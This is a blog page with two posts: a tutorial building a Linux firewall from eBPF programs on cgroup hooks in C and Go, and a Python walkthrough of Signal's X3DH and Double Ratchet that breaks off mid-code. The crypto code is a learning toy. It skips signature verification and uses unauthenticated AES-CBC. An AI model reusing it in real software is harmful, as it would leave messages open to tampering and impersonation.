nikofil’s blog

Making a firewall using eBPFs and cgroups

2021-01-24T00:00:00+00:00

eBPFs are fun. They present an easy way to insert pieces of code in the kernel which are compiled to opcodes which are guaranteed to not crash it: The instructions allowed are limited, backward jumps are not allowed (so no indefinite looping!) and you can’t dereference pointers, but can instead do checked reads from pointers which can fail without panicking the entire system. You can attach an eBPF to thousands of hooks in the Linux kernel - uprobes, kprobes, tracepoints, even things like page faults. They have a lot of exciting features and are very actively developed on - you can see a list of features that are supported per kernel version at https://github.com/iovisor/bcc/blob/master/docs/kernel-versions.md.

They also have great tooling available - you don’t even have to write any code for some basic usages. For example, you might want to see all instances of mkdir syscalls, which you can do with an one-liner:

Or you see a process making TLS connections and wonder what it’s sending? That’s easy too, you can just hook the appropriate functions in OpenSSL that do the encrypting using sslsniff.

Looks like Github pages is using HTTP/2. :) Brendan Gregg famously has many articles on this suite of tools.

There are several articles about how eBPFs are taking over all things firewall in Linux in future versions. They’re going to be a replacement for the backend of the iptables command as they are a lot more flexible and also faster: instead of having a series of rules that might match a packet or not a la iptables, you can instead write code that determines whether a packet is accepted, dropped or edited! Some of these hooks run as soon as an incoming packet is placed on the NIC and before further processing occurs, saving precious cycles, and can even run on specialized hardware.

Even for this usecase, there are several hook points to attach your program to and then decide a packet’s fate. You can use the modern XDP (eXpress Data Path) hook which is triggered as soon as the packet arrives, before the kernel even allocates memory to copy it from the NIC. At the moment this only supports ingress traffic which is not what I wanted to work with. Another option is to use the largely unknown Linux traffic control (tc) subsystem’s hook points which supports both ingress and egress and many options for what to do with the packet: drop, redirect to another interface, edit or allow it. This is a great option but wasn’t supported on my CentOS system at the time. So I settled for the third option: cgroup hooks.

Now, cgroups are normally used to restrict how much of a resource a set of processes can access, such as CPU cycles or RAM. This way you can have multiple Docker containers without one taking up the entire system’s resources, and you can edit these limits on the fly. But it also provides a simple egress and ingress hook for deciding whether a packet is allowed. Attach a function to them, return 1 for allow and 0 for drop. Easy! Time to write some actual code.

First of all, we need to be able to compile our eBPFs using Clang. To install the requirements, you can run the following on CentOS 8: yum install -y clang llvm go or on Ubuntu: apt install -y clang llvm golang. The cgroup2 FS must also be mounted, which by default is mounted on /sys/fs/cgroup/unified. If it’s not, you can mount it with sudo mkdir /mnt/cgroup2 && sudo mount -t cgroup2 none /mnt/cgroup2. Now then, to the actual code part.

There is a useful header file called bpf_helpers.h which you can get from the Linux source tree: https://github.com/torvalds/linux/blob/v5.4/tools/testing/selftests/bpf/bpf_helpers.h. This includes many macro definitions for calling eBPF functions, such as for copying stuff from kernel memory to BPF memory or accessing hooked method arguments, which will come handy.

The bare minimum code to block all packets and be certain that your computer is safe from the bad people on the internet is:

#include <stdbool.h>
#include <linux/bpf.h>
#include <netinet/ip.h>
#include "bpf_helpers.h"

#define __section(NAME)                  \
	__attribute__((section(NAME), used))

/* Ingress hook - handle incoming packets */
__section("cgroup_skb/ingress")
int ingress(struct __sk_buff *skb) {
    return false;
}

/* Egress hook - handle outgoing packets */
__section("cgroup_skb/egress")
int egress(struct __sk_buff *skb) {
    return false;
}

char __license[] __section("license") = "GPL";

You can compile this with clang -O2 -emit-llvm -c bpf.c -o - | llc -march=bpf -filetype=obj -o bpf.o to get an ELF file for target architecture BPF.

Let’s see what this ELF file contains.

$ readelf -S bpf.o
There are 12 section headers, starting at offset 0x610:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .strtab           STRTAB           0000000000000000  00000568
       00000000000000a7  0000000000000000           0     0     1
  [ 2] .text             PROGBITS         0000000000000000  00000040
       0000000000000000  0000000000000000  AX       0     0     4
  [ 3] cgroup_skb/ingres PROGBITS         0000000000000000  00000040
       0000000000000158  0000000000000000  AX       0     0     8
  [ 4] .relcgroup_skb/in REL              0000000000000000  000004e8
       0000000000000030  0000000000000010          11     3     8
  [ 5] cgroup_skb/egress PROGBITS         0000000000000000  00000198
       0000000000000158  0000000000000000  AX       0     0     8
  [ 6] .relcgroup_skb/eg REL              0000000000000000  00000518
       0000000000000030  0000000000000010          11     5     8
  [ 7] maps              PROGBITS         0000000000000000  000002f0
       0000000000000038  0000000000000000  WA       0     0     4
  [ 8] license           PROGBITS         0000000000000000  00000328
       0000000000000004  0000000000000000  WA       0     0     1
  [ 9] .eh_frame         PROGBITS         0000000000000000  00000330
       0000000000000050  0000000000000000   A       0     0     8
  [10] .rel.eh_frame     REL              0000000000000000  00000548
       0000000000000020  0000000000000010          11     9     8
  [11] .symtab           SYMTAB           0000000000000000  00000380
       0000000000000168  0000000000000018           1    10     8
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

$ readelf -s bpf.o

Symbol table '.symtab' contains 15 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS bpf.c
     2: 00000000000000a0     0 NOTYPE  LOCAL  DEFAULT    3 LBB0_3
     3: 0000000000000100     0 NOTYPE  LOCAL  DEFAULT    3 LBB0_6
     4: 0000000000000138     0 NOTYPE  LOCAL  DEFAULT    3 LBB0_7
     5: 00000000000000a0     0 NOTYPE  LOCAL  DEFAULT    5 LBB1_3
     6: 00000000000000e0     0 NOTYPE  LOCAL  DEFAULT    5 LBB1_6
     7: 0000000000000138     0 NOTYPE  LOCAL  DEFAULT    5 LBB1_7
     8: 0000000000000000     0 SECTION LOCAL  DEFAULT    3
     9: 0000000000000000     0 SECTION LOCAL  DEFAULT    5
    10: 0000000000000000     4 OBJECT  GLOBAL DEFAULT    8 __license
    11: 000000000000001c    28 OBJECT  GLOBAL DEFAULT    7 blocked_map
    12: 0000000000000000   344 FUNC    GLOBAL DEFAULT    5 egress
    13: 0000000000000000    28 OBJECT  GLOBAL DEFAULT    7 flows_map
    14: 0000000000000000   344 FUNC    GLOBAL DEFAULT    3 ingress

You can see the __section macro did its job: The functions we defined in the C code were placed in their own sections, and there is also a symbol for each. The names of the sections are important: cgroup_skb/{e,in}gress is a convention that refers to the place in the kernel where this eBPF program will be hooked to. The symbol name is also important for later referring to our programs. “SKB” stands for socket buffer (also known as sk_buff) which is how a packet is stored in the kernel. As you might see in the C code, it is also the type of the argument our programs will receive when executed. The socket buffer contains everything we need to determine the packet’s fate, although currently we use none of that and just trash all packets without discrimination.

You can’t just run this, of course, as it has no entry point. You have to load it! This normally happens with the bpf system call which handles all things that we want to ask the Linux kernel to do with eBPFs, such as loading a program or creating a map to communicate with userspace, which we’ll do later. The Cilium eBPF library for Go helpfully takes care of the low-level stuff for us. The following Go program takes our BPF binary file and loads it into the kernel.

First the necessary imports:

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/cilium/ebpf"
	"github.com/cilium/ebpf/link"
	"golang.org/x/sys/unix"
)

We define all the constants in the start of the program to keep it clean. These include the path for the cgroup2 and BPF FS, the ELF path and the program names (based on the symbol names we saw before) that we want to load.

const (
	rootCgroup	  = "/sys/fs/cgroup/unified"
	ebpfFS		  = "/sys/fs/bpf"
	bpfCodePath	 = "bpf.o"
	egressProgName  = "egress"
	ingressProgName = "ingress"
)

Let’s start running some things. First we set the rlimit to infinity. This is because eBPF maps use locked memory which has low limits by default. We don’t actually use maps yet, but we will.

func main() {
	unix.Setrlimit(unix.RLIMIT_MEMLOCK, &unix.Rlimit{
		Cur: unix.RLIM_INFINITY,
		Max: unix.RLIM_INFINITY,
	})

Then we load the binary. This first line saves us quite some work, as the library determines for us where the sections are and loads each one and its instructions separately and puts them in a nice struct for us to use later.

We also determine the paths where we will pin the different programs. That is so that they can run even after the Go program exits. Then, we can write an “unload” procedure as well which loads them from their pinned positions to unload them - otherwise we would have no way to interact with them. The BPF filesystem (mounted on /sys/fs/bpf by default) exists for this purpose - so we can pin things to it.

We also obtain a file handle to the root cgroup which we’ll use to control the entire system’s packets.

	collec, err := ebpf.LoadCollection(bpfCodePath)
	if err != nil {
		fmt.Println(err)
		return
	}

	var ingressProg, egressProg *ebpf.Program
	ingressPinPath := filepath.Join(ebpfFS, ingressProgName)
	egressPinPath := filepath.Join(ebpfFS, egressProgName)
	cgroup, err := os.Open(rootCgroup)
	if err != nil {
		return
	}
	defer cgroup.Close()

Finally, we find our programs in the binary. These are called “ingress” and “egress”, as are their symbol names. We pin them to the above paths and attach them to the cgroup that we loaded. Under the hood, this calls once again the bpf syscall for each program with the command BPF_PROG_ATTACH and the types BPF_ATTACH_TYPE_CGROUP_INET_{E,IN}GRESS. It also passes the file descriptors for each BPF program that we have already loaded and for the cgroup we’re attaching to.

	ingressProg = collec.Programs[ingressProgName]
	ingressProg.Pin(ingressPinPath)

	egressProg = collec.Programs[egressProgName]
	egressProg.Pin(egressPinPath)

	_, err = link.AttachCgroup(link.CgroupOptions{
		Path:	cgroup.Name(),
		Attach:  ebpf.AttachCGroupInetIngress,
		Program: collec.Programs[ingressProgName],
	})
	if err != nil {
		fmt.Println(err)
		return
	}

	_, err = link.AttachCgroup(link.CgroupOptions{
		Path:	cgroup.Name(),
		Attach:  ebpf.AttachCGroupInetEgress,
		Program: collec.Programs[egressProgName],
	})
	if err != nil {
		fmt.Println(err)
		return
	}
}

This is the end of the code! You can compile the program above with go build ./ebpf-fw.go. By running it, the BPFs will attach to the cgroup and you won’t have any connectivity. If you want to regain your internet connection, read on. :)

Thankfully, detaching the programs is a lot easier. You simply have to load the pinned programs and open the cgroup:

func main() {
	var ingressProg, egressProg *ebpf.Program
	ingressPinPath := filepath.Join(ebpfFS, ingressProgName)
	egressPinPath := filepath.Join(ebpfFS, egressProgName)

	ingressProg, err := ebpf.LoadPinnedProgram(ingressPinPath)
	if err != nil {
		fmt.Println(err)
		return
	}
	egressProg, err = ebpf.LoadPinnedProgram(egressPinPath)
	if err != nil {
		fmt.Println(err)
		return
	}

	cgroup, err := os.Open(rootCgroup)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer cgroup.Close()

and you can then detach them from the cgroup and remove the pins:

	ingressProg.Detach(int(cgroup.Fd()), ebpf.AttachCGroupInetIngress, 0)
	egressProg.Detach(int(cgroup.Fd()), ebpf.AttachCGroupInetEgress, 0)

	os.Remove(ingressPinPath)
	os.Remove(egressPinPath)
}

That was easy! There’s still more features to be added, though. We would like to control which IP addresses are blocked rather than drop all packets. This is where maps come in: We can use them to store these IP addresses and also change them on the fly via userspace, rather than have to unload and reload the programs every time.

Thankfully, using maps is also relatively easy. First we have to define our new map in the ELF file (in its own section) so that we can then load it. As we want to store simply IPv4 addresses which are just 4 bytes, an int will be enough to store them. We will use the bpf_map_def struct to define a map in the C code.

/* Map for blocking IP addresses from userspace */
struct bpf_map_def __section("maps") blocked_map = {
	.type = BPF_MAP_TYPE_HASH,
	.key_size = sizeof(__u32),
	.value_size = sizeof(__u32),
	.max_entries = 10000,
};

Of course we also need to change the code to check whether either (src/dst) IP address is in the map to determine whether to block it. To do that, we need to load the packet header from kernel memory to the BPF memory, as we can’t access kernel memory directly. Then it’s simply a case of looking up that address in the map to check if it has been blocked.

/* Handle a packet: return whether it should be allowed or dropped */
inline bool handle_pkt(struct __sk_buff *skb) {
    struct iphdr iph;
    /* Load packet header */
    bpf_skb_load_bytes(skb, 0, &iph, sizeof(struct iphdr));
    /* Check if IPs are in "blocked" map */
    bool blocked = bpf_map_lookup_elem(&blocked_map, &iph.saddr) || bpf_map_lookup_elem(&blocked_map, &iph.daddr);
    /* Return whether it should be allowed or dropped */
    return !blocked;
}

/* Ingress hook - handle incoming packets */
__section("cgroup_skb/ingress")
int ingress(struct __sk_buff *skb) {
    return (int)handle_pkt(skb);
}

/* Egress hook - handle outgoing packets */
__section("cgroup_skb/egress")
int egress(struct __sk_buff *skb) {
    return (int)handle_pkt(skb);
}

Now we simply have to access the map from the Go program to insert / delete entries. First, let’s declare its name in Go:

	const blockedMapName  = "blocked_map"

Then we also need a place to pin it so that we can load it on subsequent runs of the userspace program.

	blockedPinPath := filepath.Join(ebpfFS, blockedMapName)

Upon loading the ELF file with the Cilium library, it has helpfully placed the map in its own Maps map!

		blockedMap, _ = collec.Maps[blockedMapName]
		blockedMap.Pin(blockedPinPath)

We can later load it again with the following code:

		blockedMap, err = ebpf.LoadPinnedMap(blockedPinPath)

Finally, to insert an IP address to it, we have to first convert it from a string to an int by converting the 4 octets to little endian form, so that they appear in the same order as they do in the usual IP address format. The net and binary libraries in Go can do that for us. After converting it, we can insert it into the BPF map and the BPF program should pick it up and block it!

	ip_bytes := net.ParseIP(ip_addr).To4()
	ip_int := binary.LittleEndian.Uint32(ip_bytes)
	if err = blockedMap.Put(&ip_int, &ip_int); err != nil {
		fmt.Println(err)
	}

Similarly, you can add other features with maps to interact with the program via userspace. For instance, I added tracking of which IPs are seen so that I can view a list of what my computer connects to in real time. You can see my entire implementation at https://github.com/nikofil/ebpf-firewall/.

This is what it looks like when using the CLI to block an IP address while the eBPF program is loaded:

Implementing Signal’s Double Ratchet algorithm

2020-04-06T00:00:00+00:00

I’ve been reading up on the Double Ratchet algorithm and its implementations lately, as it’s an exciting piece of crypto that offers some very nice guarantees: forward secrecy (ie. by breaking a key at some point you can’t read older messages), eventual break-in recovery (ie. by breaking a key you can only read a few messages before the protocol recovers), and of course confidentiality and deniability. It’s all done through the use of “ratchets”, which are used to update the key used with each message. The algorithm comes at a nice time, when consumers are becoming more privacy-aware and governments more determined to perform mass surveillance, which is where E2E encryption becomes the only way to protect your data.

Double Ratchet is used by the biggest platforms in the field, such as Signal, Facebook Messenger, WhatsApp and Matrix in order to provide E2E encryption for their instant messages. To clear that up, as I was wondering about this myself, this means that each message is encrypted on the client: If you’re using a web client then Javascript is doing the encrypting and decrypting. The keys are never supposed to leave your device, though most platforms actually store them for you in practice and you simply encrypt the keys with another key and store that instead. That’s because the browser has a low capacity for websites to store data, and there’s more key material to store than you might expect.

This concept was not the easiest to wrap my head around, as with my limited knowledge of crypto I had to often pause and thing why something works while to someone with more experience it might have been obvious. The Double Ratchet and X3DH specs were of course my main reading materials. Luckily they’re much simpler to follow than I expected and I was able to implement the basics of the spec. There are also some very helpful videos by Computerphile that explain the algorithm in a nice, visual way.

There’s no better way to understand something than to make it yourself. Plus crypto code is so fun to write. Maybe because it’s so wrong to do your own crypto? Maybe because you feel like a math genius when you get the message decrypted successfully? We will never know. So, here’s my attempt at implementing both the key exchange and messaging parts while explaining what’s happening along the way.

Double Ratchet? How about a single one?

First of all, some context: A ratchet is a structure that updates with each message sent, providing a new key. This is a “turn” of the ratchet: A single turn generates a new key, part of which is used as the new ratchet state and part of which is the output of the ratchet, to be used for encrypting messages. By having a pre-shared secret key, the two parties (Alice and Bob, per tradition) can initialize their ratchet structures so that they can deduce the same keys and therefore read each other’s encrypted messages. A ratchet only turns one way: previous keys cannot be deduced even if an attacker manages to obtain the state of the ratchet at some point. Future ones however can.

This is augmented by using a second ratchet, which gives the algorithm its name. That ratchet provides new ephemeral Diffie-Hellman shared secrets which are then used to initialize the previous ratchet’s state. By doing that, Alice and Bob can ensure that an attacker who has obtained the first ratchet’s state will not be able to follow along and decrypt more messages once this DH exchange has occurred. This provides the algorithm with eventual break-in recovery.

Key exchange using Extended Triple Diffie-Hellman

The Extended Triple Diffie-Hellman (or X3DH) algorithm is used to establish the initial shared secret key between Alice and Bob, based on their public keys and using a server. Bob has already published some information on a server and Alice wants to establish a shared secret key with Bob in order to send him an encrypted message, while Bob is not online. Alice must therefore be able to perform the key exchange using simply the information stored on the server. The server can also be used to store messages by either of them until the other one can retrieve them.

Bob needs to generate several X25519 key pairs ahead of time:

IK_b is Bob’s long-term identity key. It is published to the server and is used to identify Bob.
SPK_b is Bob’s signed pre-key. The public key is published along with the signature Sig(IK_b, SPK_b) using Bob’s identity key, therefore proving that Bob has access to the private key of IK_b. This key should be re-generated and updated by Bob every few weeks or months in order to provide better forward secrecy.
OPK_b, OPK_b', OPK_b''… are Bob’s one-time pre-keys. Each one’s public key is published to the server and can be fetched by another party who wishes to communicate with Bob, after which it is deleted from the server. He can have as many as he wishes up to a limit defined by the server.

Similarly, Alice must generate and own the following:

IK_a is Alice’s long-term identity key. It is published to the server and is used to identify Alice.
EK_a is Alice’s ephemeral key which is generated simply for the upcoming DH with Bob’s keys.

Alice then downloads a bundle from the server, which includes Bob’s identity public key, signed public pre-key and its signature, and one of Bob’s public pre-keys.

Alice must know, of course, that the public key she received belongs to the person she wants to talk to in order to prevent a MITM attack. This must be done out-of-band. For example, Alice might ask Bob for his public key offline and store that.

Then, she verifies the downloaded signature using IK_b. If the signature matches she can go ahead with establishing the secret. She calculates the following four secret outputs, using Diffie-Hellman:

DH1=DH(IK_a, SPK_b)
DH2=DH(EK_a, IK_b)
DH3=DH(EK_a, SPK_b)
DH4=DH(EK_a, OPK_b)

In short, the following DH exchanges happen:

The first two of these secrets provide mutual authentication: The identity keys of both parties are used in them. Therefore if one of the parties tries to use a different identity key, they will arrive at a different result. The last two of these secrets provide forward secrecy as they are unique to this exchange.

By concatenating the four secrets and applying a KDF Alice arrives at the shared key that will be later used to initialize her ratchets. For the KDF I’m using HKDF per the spec, with empty salt and info parameters for simplicity.

SK = KDF(DH1 || DH2 || DH3 || DH4)

Afterwards, Alice sends Bob the public key of EK_a via the server, as well as her public identity key IK_a and the identifier of Bob’s one-time pre-key that she used (OPK_b). She also sends him the first encrypted message: IK_a || IK_b, which Bob will use to verify the identity keys of both parties.

Once Bob comes online, he will know one of his one-time pre-keys has been used by Alice to establish a new shared key. He will fetch IK_a and EK_a from the server. He must also know that IK_a belongs to the real Alice as well, as stated before. As he knows the private components of IK_b, SPK_b and OPK_b he can perform the same Diffie-Hellman calculations as Alice did using her public keys, and should therefore arrive at the same SK as Alice.

Let’s put all that into code. First, all of the imports we will need:

# Requirements:
# apt install python3 python3-pip
# pip3 install cryptography==2.8 pycrypto

import base64

from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey
from cryptography.hazmat.primitives.asymmetric.ed25519 import \
        Ed25519PublicKey, Ed25519PrivateKey
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.backends import default_backend

from Crypto.Cipher import AES

Then we can make the Bob and Alice classes. We skip the server for simplicity and assume they just communicate everything through it. I also skipped the verification of SPK_b’s signature as I couldn’t find a python library for it.

def b64(msg):
    # base64 encoding helper function
    return base64.encodebytes(msg).decode('utf-8').strip()

def hkdf(inp, length):
    # use HKDF on an input to derive a key
    hkdf = HKDF(algorithm=hashes.SHA256(), length=length, salt=b'',
                info=b'', backend=default_backend())
    return hkdf.derive(inp)

class Bob(object):
    def __init__(self):
        # generate Bob's keys
        self.IKb = X25519PrivateKey.generate()
        self.SPKb = X25519PrivateKey.generate()
        self.OPKb = X25519PrivateKey.generate()

    def x3dh(self, alice):
        # perform the 4 Diffie Hellman exchanges (X3DH)
        dh1 = self.SPKb.exchange(alice.IKa.public_key())
        dh2 = self.IKb.exchange(alice.EKa.public_key())
        dh3 = self.SPKb.exchange(alice.EKa.public_key())
        dh4 = self.OPKb.exchange(alice.EKa.public_key())
        # the shared key is KDF(DH1||DH2||DH3||DH4)
        self.sk = hkdf(dh1 + dh2 + dh3 + dh4, 32)
        print('[Bob]\tShared key:', b64(self.sk))


class Alice(object):
    def __init__(self):
        # generate Alice's keys
        self.IKa = X25519PrivateKey.generate()
        self.EKa = X25519PrivateKey.generate()

    def x3dh(self, bob):
        # perform the 4 Diffie Hellman exchanges (X3DH)
        dh1 = self.IKa.exchange(bob.SPKb.public_key())
        dh2 = self.EKa.exchange(bob.IKb.public_key())
        dh3 = self.EKa.exchange(bob.SPKb.public_key())
        dh4 = self.EKa.exchange(bob.OPKb.public_key())
        # the shared key is KDF(DH1||DH2||DH3||DH4)
        self.sk = hkdf(dh1 + dh2 + dh3 + dh4, 32)
        print('[Alice]\tShared key:', b64(self.sk))


alice = Alice()
bob = Bob()

# Alice performs an X3DH while Bob is offline, using his uploaded keys
alice.x3dh(bob)

# Bob comes online and performs an X3DH using Alice's public keys
bob.x3dh(alice)

As suspected, the key exchange works! Here’s a sample input so far.

[Alice]	Shared key: 6SJPsg17ocf4N/rY7TFf3KSEQr5iavhv7P5TJylNWU0=
[Bob]	Shared key: 6SJPsg17ocf4N/rY7TFf3KSEQr5iavhv7P5TJylNWU0=

Symmetric Ratchet

The symmetric ratchet is the first ratchet type that we discussed before. The symmetric ratchet is implemented with a KDF chain using the HKDF algorithm, which ensures that the output will be cryptographically secure.

On the initial step, the KDF function is supplied with a secret key and some input data, which can be a constant. The output of the KDF is another secret key. This new key is split into two parts: The next KDF key and the message key. This is a turn of the “ratchet”: The internal state of the ratchet (the KDF key) is changed and a new message key is created.

Because the output of the KDF algorithm is cryptographically secure, it’s hard to reconstruct the input key of the KDF given the output key. This means that an attacker can’t reconstruct older keys even if the current state and message key is leaked. They can however decrypt a single message by using the message key. In addition, by changing the input parameter on each step, we are also guaranteed break-in recovery: An attacker can’t deduce the next state of the ratchet by only knowing the current state if they don’t know what the input is. If the input is constant however an attacker can sync with the ratchet and decrypt all future messages.

Having performed the X3DH algorithm, both Alice and Bob have now arrived at a common shared secret key. That is now used to establish their session keys by using the Double Ratchet algorithm.

Each of them maintains three symmetric ratchets in order to be able to communicate. The first one is the root ratchet. This ratchet is initialized with the shared key of Alice and Bob. The input of this ratchet can be assumed to be constant for now, which however does not provide break-in recovery. This will change in the next section.

The other two ratchets are the sending and receiving ratchets. Alice’s sending ratchet’s state must always match Bob’s receiving ratchet state, and vice-versa. These two ratchets are both initialized from the first two keys provided by the root chain. When Alice wants to send a message to Bob, she turns her sending ratchet once, obtaining a new message key. She then encrypts her message using that message key.

Similarly, Bob initializes his sending and receiving ratchets by turning his root ratchet twice. When he receives a message from Alice he turns his receiving ratchet once, matching the state of Alice’s sending ratchet. This provides him with the key to decrypt the message. He can send messages to Alice in a similar fashion, using his sending ratchet and Alice’s receiving ratchet.

By having two separate ratchets for sending and receiving, we make sure that Bob and Alice won’t have an issue of both claiming the same key from their ratchets and sending each other a message at the same time. Each message is also accompanied by the order that it was sent. This way, if Bob receives a message out of order, he can turn his receiving ratchet more than once to get the appropriate message key to decrypt it. He also stores the message keys that he skipped in case these messages arrive, so that he can then decrypt them.

Let’s add a simple ratchet implementation to our code, and the initialization methods to Bob and Alice.

class SymmRatchet(object):
    def __init__(self, key):
        self.state = key

    def next(self, inp=b''):
        # turn the ratchet, changing the state and yielding a new key and IV
        output = hkdf(self.state + inp, 80)
        self.state = output[:32]
        outkey, iv = output[32:64], output[64:]
        return outkey, iv

class Bob(object):
    # snip

    def init_ratchets(self):
        # initialise the root chain with the shared key
        self.root_ratchet = SymmRatchet(self.sk)
        # initialise the sending and recving chains
        self.recv_ratchet = SymmRatchet(self.root_ratchet.next()[0])
        self.send_ratchet = SymmRatchet(self.root_ratchet.next()[0])

class Alice(object):
    # snip

    def init_ratchets(self):
        # initialise the root chain with the shared key
        self.root_ratchet = SymmRatchet(self.sk)
        # initialise the sending and recving chains
        self.send_ratchet = SymmRatchet(self.root_ratchet.next()[0])
        self.recv_ratchet = SymmRatchet(self.root_ratchet.next()[0])

alice = Alice()
bob = Bob()

# Alice performs an X3DH while Bob is offline, using his uploaded keys
alice.x3dh(bob)

# Bob comes online and performs an X3DH using Alice's public keys
bob.x3dh(alice)

# Initialize their symmetric ratchets
alice.init_ratchets()
bob.init_ratchets()

# Print out the matching pairs
print('[Alice]\tsend ratchet:', list(map(b64, alice.send_ratchet.next())))
print('[Bob]\trecv ratchet:', list(map(b64, bob.recv_ratchet.next())))
print('[Alice]\trecv ratchet:', list(map(b64, alice.recv_ratchet.next())))
print('[Bob]\tsend ratchet:', list(map(b64, bob.send_ratchet.next())))

Success! This is our new output:

[Alice]	send ratchet: ['+/6Gq39lwvg3JQAvl3HxrLmebInwzdqy6w+rGFWlzpw=', 'J47otn/26gEdpT8/o0FDDw==']
[Bob]	recv ratchet: ['+/6Gq39lwvg3JQAvl3HxrLmebInwzdqy6w+rGFWlzpw=', 'J47otn/26gEdpT8/o0FDDw==']
[Alice]	recv ratchet: ['E/7OUo7RGn7GDv8VDhc26avKOvwCTAIX1xH9krYeF6w=', 'q9pdP023Z0nerNVH9xrrsg==']
[Bob]	send ratchet: ['E/7OUo7RGn7GDv8VDhc26avKOvwCTAIX1xH9krYeF6w=', 'q9pdP023Z0nerNVH9xrrsg==']

We can see their send and recv ratchets outputs match. This is of course because we initialized Alice’s sending ratchet first, but Bob’s second. This is not arbitrary - it depends on who sends the message as we’ll see in a bit, who we’ve been assuming is Alice in this case.

You might also observe there’s two outputs, while we expected one. That’s because the second one will be used as the IV for encrypting messages.

Alice and Bob have estabished a session now. They could now use these to send each other messages with proven confidentiality, integrity, authentication and forward secrecy, rotating the appropriate ratchet after sending or receiving a message. It does not however provide break-in recovery, as an attacker can still guess the future states of the sending or receiving ratchet if their state is leaked, or can deduce the states of both if the shared secret key of the root ratchet is leaked. This is why there’s our other type of ratchet: The Diffie-Hellman ratchet.

Diffie-Hellman Ratchet

The second ratchet type is the Diffie-Hellman ratchet which is used to reset the keys used for the sending and receiving ratchets of both parties to new values.

Before receiving a message from Alice, Bob must initialize a new ratchet key pair RK_b and advertise the public key to Alice. Upon learning Bob’s public key, Alice will then generate her own key pair RK_a and calculate DH(RK_a, RK_b). This value will be used as the input to turn Alice’s root symmetric ratchet once, yielding a new key. This key will then be used to initialize Alice’s sending symmetric ratchet.

The next message that Alice sends to Bob will be encrypted with a message key that comes from this sending ratchet. Therefore she must also advertise her new public key alongside this message, otherwise Bob will not be able to decode the message itself as he does not yet know the public key of RK_a. Once obtaining it, he can also calculate DH(RK_a, RK_b) and use that as input to his own root symmetric ratchet. As the state of his root ratchet must match Alice’s root ratchet before this step, the output of his root ratchet will be the new key for his receiving symmetric ratchet which must also match Alice’s sending ratchet. Then, this ratchet will generate a new message key which he can use to decrypt Alice’s message.

Next, Bob can introduce a new key pair RK_b'. Using Alice’s previous public key he calculates DH(RK_b', RK_a) and uses that as input to his root chain to get a new key for initializing his sending ratchet. He can now discard his old key pair. When he sends his new message, encrypted with the sending ratchet, he advertises his new public key. Alice can then once again calculate DH(RK_a, RK_b') to update her receiving ratchet and decrypt Bob’s message, and can proceed with introducing her own new key pair.

Note that the input values for the sending and receiving ratchets are still constant. The input value for the root symmetric ratchet is, however, the output value of the DH ratchet. This way we now also ensure eventual break-in recovery: Even if the state of a ratchet is leaked to an attacker, we will soon afterwards perform a turn of the DH ratchet and the symmetric ratchets will be reset to new, unknown to the attacker values.

This process signifies a single turn of the DH ratchet, as in each step one party’s key is renewed and the old one is forgotten. It can be performed as often as the two parties like in order to provide break-in recovery. In practice it’s done with every single message.

With that, we can add the code for maintaining the DH ratchet by both Bob and Alice. We don’t need a new construct for the DH ratchet, as it’s sufficient to keep an X25519 key pair for each user.

class Bob(object):
    def __init__(self):
        # snip
        # initialise Bob's DH ratchet
        self.DHratchet = X25519PrivateKey.generate()

    def dh_ratchet(self, alice_public):
        # perform a DH ratchet rotation using Alice's public key
        dh_recv = self.DHratchet.exchange(alice_public)
        shared_recv = self.root_ratchet.next(dh_recv)[0]
        # use Alice's public and our old private key
        # to get a new recv ratchet
        self.recv_ratchet = SymmRatchet(shared_recv)
        print('[Bob]\tRecv ratchet seed:', b64(shared_recv))
        # generate a new key pair and send ratchet
        # our new public key will be sent with the next message to Alice
        self.DHratchet = X25519PrivateKey.generate()
        dh_send = self.DHratchet.exchange(alice_public)
        shared_send = self.root_ratchet.next(dh_send)[0]
        self.send_ratchet = SymmRatchet(shared_send)
        print('[Bob]\tSend ratchet seed:', b64(shared_send))

class Alice(object):
    def __init__(self):
        # snip
        # Alice's DH ratchet starts out uninitialised
        self.DHratchet = None

    def dh_ratchet(self, bob_public):
        # perform a DH ratchet rotation using Bob's public key
        if self.DHratchet is not None:
            # the first time we don't have a DH ratchet yet
            dh_recv = self.DHratchet.exchange(bob_public)
            shared_recv = self.root_ratchet.next(dh_recv)[0]
            # use Bob's public and our old private key
            # to get a new recv ratchet
            self.recv_ratchet = SymmRatchet(shared_recv)
            print('[Alice]\tRecv ratchet seed:', b64(shared_recv))
        # generate a new key pair and send ratchet
        # our new public key will be sent with the next message to Bob
        self.DHratchet = X25519PrivateKey.generate()
        dh_send = self.DHratchet.exchange(bob_public)
        shared_send = self.root_ratchet.next(dh_send)[0]
        self.send_ratchet = SymmRatchet(shared_send)
        print('[Alice]\tSend ratchet seed:', b64(shared_send))


alice = Alice()
bob = Bob()

# Alice performs an X3DH while Bob is offline, using his uploaded keys
alice.x3dh(bob)

# Bob comes online and performs an X3DH using Alice's public keys
bob.x3dh(alice)

# Initialize their symmetric ratchets
alice.init_ratchets()
bob.init_ratchets()

# Initialise Alice's sending ratchet with Bob's public key
alice.dh_ratchet(bob.DHratchet.public_key())

Bob can’t yet however decrypt Alice’s message! He also needs to turn his own DH ratchet, and that depends on Alice’s public key, which she must send along with her message. Let’s implement both their send and recv methods.

def pad(msg):
    # pkcs7 padding
    num = 16 - (len(msg) % 16)
    return msg + bytes([num] * num)

def unpad(msg):
    # remove pkcs7 padding
    return msg[:-msg[-1]]

class Bob(object):
    #snip

    def send(self, alice, msg):
        key, iv = self.send_ratchet.next()
        cipher = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(msg))
        print('[Bob]\tSending ciphertext to Alice:', b64(cipher))
        # send ciphertext and current DH public key
        alice.recv(cipher, self.DHratchet.public_key())

    def recv(self, cipher, alice_public_key):
